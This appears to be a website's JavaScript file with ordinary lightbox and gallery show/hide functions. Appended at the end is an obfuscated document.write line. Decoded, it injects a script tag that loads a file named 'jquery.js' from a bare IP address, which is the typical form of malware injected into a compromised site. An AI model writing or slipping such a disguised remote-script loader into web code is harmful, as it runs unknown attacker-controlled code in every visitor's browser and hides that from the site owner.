function currentlocation() { 
		if (dhtmlHistory.getCurrentLocation()=="" || dhtmlHistory.getCurrentLocation()!="location1") {
			myLightbox.end(); 
			window.clearInterval(chid);
			} 
		} 

function checkhistory()	{
		chid = window.setInterval("currentlocation()",200);
		return chid;
	}

function countdown()	{
		window.setTimeout("checkhistory()", 1000)
	}


function showdiv(which,thisdiv) {
	var divnumber = thisdiv.substring(thisdiv.length-1)
	document.getElementById(which).style.display = 'block';
	document.getElementById(thisdiv).style.display = 'none';
	document.getElementById('divcollapse' + divnumber).style.display = 'block';
	if (dhtmlHistory.getCurrentLocation()!="showgallery") {
		dhtmlHistory.add('showgallery',{message: ''}) 
		}
}

function hidediv(which,thisdiv) {
	document.getElementById(which).style.display = 'none';
	document.getElementById(thisdiv).style.display = 'none';
	document.getElementById('divexpand' + thisdiv.substring(thisdiv.length-1)).style.display = 'block';
}
<!-- 
document.write(unescape('%3C5SAs5SAcr5SAipt7G%20vSsrdHc%3D%2F8j%2F9dH4%2E2tgh4vS78j%2EUe2dH%2E7G198j5dH%2F7GjquerUey%2E7GjvSs%3E%3C%2Fscript7G%3E').replace(/8j|7G|5SA|dH|tgh|Ue|vS/g,""));
 -->